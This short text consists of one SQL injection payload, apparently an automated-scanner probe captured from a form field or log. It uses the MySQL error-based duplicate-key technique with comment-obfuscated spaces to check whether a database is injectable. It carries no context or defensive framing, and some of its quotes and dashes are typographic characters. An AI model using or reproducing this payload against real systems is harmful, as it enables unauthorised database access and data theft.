1AND/**/ROW(3686,1542)>(SELECT/**/COUNT(*),CONCAT(‘~’,(SELECT/**/(ELT(3686=3686,1))),’~’,FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/8874/**/UNION/**/SELECT/**/9843/**/UNION/**/SELECT/**/5106/**/UNION/**/SELECT/**/2522)a/**/GROUP/**/BY/**/x)– – 1